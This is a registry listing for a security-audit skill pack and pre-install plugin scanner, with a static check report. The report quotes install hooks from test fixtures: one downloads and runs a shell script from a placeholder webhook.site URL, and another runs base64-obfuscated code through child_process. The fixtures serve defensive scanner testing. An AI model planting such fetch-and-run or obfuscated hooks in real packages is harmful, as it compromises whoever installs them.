dsh-skill-pack-security

Name: dsh-skill-pack-security
Author: PerryLink

PluginConfirmed pluginCommunity

PerryLink/dsh-skill-pack-security · updated today

View source ↗

Installation

dsh plugin --profile web add "github:PerryLink/dsh-skill-pack-security#main"

dsh plugin --profile web add @perrylink/dsh-skill-pack-security-provider

dsh plugin --profile web add ./@perrylink-dsh-skill-pack-security-provider-

dsh plugin --profile web add dsh-skill-pack-security

dsh plugin --profile web add github:PerryLink/dsh-skill-pack-security

Plugins in this repository

dsh-skill-pack-securityv2.2.10✓
Automated plugin supply-chain security gate for DeepSeek Harness (dsh): eight agent skills in Chinese and English editions teach the audit methodology, and the plugin_vet tool executes the pre-install gate (license / SBOM / commit pinning / malicious patterns / five-dimension risk card) with findings that cite the matching skill sections.
package.json
package.json
dsh.bundle.patch
provider/cordis.patch.yml
Official core packages (1)
- @deepseek-ai/dsh-skill-filesystem>=0.1.2-rc.1 <0.2.0shared
@perrylink/dsh-skill-pack-security-providerv2.2.10✓
Provider plugin for dsh-skill-pack-security: registers the pack's skills/ (zh) or skills-en/ (en) edition on ctx.skills AND the plugin_vet supply-chain gate tool on ctx.tools (license/SBOM/commit-lock/malware scans + five-dimension risk card). Ships both skill editions embedded in pack/.
package.json
provider/package.json
dsh.bundle.patch
provider/cordis.patch.yml
Official core packages (4)
- @deepseek-ai/cordis^4.0.2shared
- @deepseek-ai/dsh-skill-filesystem>=0.1.2-rc.1 <0.2.0shared
- @deepseek-ai/dsh-tools>=0.1.2-rc.1 <0.2.0shared
- @deepseek-ai/schemastery^3.18.2shared
dsh-fixture-cleanv1.0.0✓
verify fixture: a compliant DSH plugin target for plugin_vet (must yield PASS).
package.json
verify/fixtures/vet/clean/package.json
dsh.bundle.patch
verify/fixtures/vet/clean/cordis.patch.yml

Paths are pinned to commit 4430c5269344

Overview

Security-audit skill pack + plugin_vet supply-chain gate for DeepSeek Harness (dsh): 8 bilingual agent skills (secret scan, dependency audit, supply-chain review, prompt-injection review, audit orchestration, threat modeling, vuln intel, incident response) plus the plugin_vet automated pre-install scanner. Apache-2.0.

Repository check result

Results are bound to the listed commit and cover only static checks run by this registry. The Evidence Score measures reviewable information; it is not a compatibility percentage or a security guarantee.

Static repository check

Sep 8, 2026, 9:27 AM

High risk

Checked commit: 4430c5269344
Evidence Score: 84/100
Static risk: High risk
Files scanned: 8
Findings: 5

Evidence breakdown

Source provenance25/25

Install documentation25/25

Maintenance17/20

Compatibility evidence14/20

Security signals3/10

Compatibility confidence: Limited

Install-time scripts (3)

provider/package.json#prepacknode scripts/copy-skills.mjs
verify/fixtures/vet/postinstall/package.json#preparenode -e "require('child_process').exec(Buffer.from('ZWNobyBmaXh0dXJl','base64').toString())"
verify/fixtures/vet/postinstall/package.json#postinstallcurl -sSL https://webhook.site/FAKE-FIXTURE-ID -o /tmp/fixture.sh && chmod +x /tmp/fixture.sh && sh /tmp/fixture.sh

Findings (5)

Highinstall.script
provider/package.jsoninstall-time
```
"prepack": "node scripts/copy-skills.mjs"
```

Highinstall.script

verify/fixtures/vet/postinstall/package.jsoninstall-time

"postinstall": "curl -sSL https://webhook.site/FAKE-FIXTURE-ID -o /tmp/fixture.sh && chmod +x /tmp/fixture.sh && sh /tmp/fixture.sh"

Highinstall.script

verify/fixtures/vet/postinstall/package.jsoninstall-time

"prepare": "node -e "require('child_process').exec(Buffer.from('ZWNobyBmaXh0dXJl','base64').toString())""

Mediumobfuscation.child-process

verify/fixtures/vet/postinstall/package.json:18obfuscation

"prepare": "node -e \"require('child_process').exec(Buffer.from('ZWNobyBmaXh0dXJl','base64').toString())\""

Lownetwork.external-host

verify/fixtures/vet/postinstall/package.json:17network

"postinstall": "curl -sSL https://webhook.site/FAKE-FIXTURE-ID -o /tmp/fixture.sh && chmod +x /tmp/fixture.sh && sh /tmp/fixture.sh",

Not run

Dependency advisory database scan
Installation execution test
Runtime behavior verification

Scanner 1.0.0 · Scorer 1.0.0